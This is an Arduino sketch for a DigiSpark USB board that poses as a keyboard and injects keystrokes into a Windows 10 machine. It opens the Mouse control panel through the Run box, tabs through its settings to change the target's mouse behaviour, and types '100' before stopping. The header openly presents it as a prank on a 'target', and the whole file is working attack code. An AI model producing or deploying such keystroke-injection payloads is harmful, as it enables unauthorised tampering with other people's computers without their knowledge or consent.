//This DigiSpark script messes with your target's mouse settings to annoying levels //Tested on Windows 10 with English(US) keyboard layout //Created by Vel1khan #include "DigiKeyboard.h" void setup() { #define KEY_TAB 43 #define KEY_ARROW_RIGHT 0x4F } void loop() { DigiKeyboard.sendKeyStroke(0); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); DigiKeyboard.delay(500); DigiKeyboard.print("main.cpl"); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_SPACE); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_SPACE); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB, MOD_SHIFT_LEFT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_ARROW_RIGHT); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_SPACE); DigiKeyboard.delay(200); DigiKeyboard.sendKeyStroke(KEY_TAB); DigiKeyboard.delay(500); DigiKeyboard.print("100"); DigiKeyboard.delay(500); DigiKeyboard.sendKeyStroke(KEY_ENTER); for(;;){ /*empty*/ } }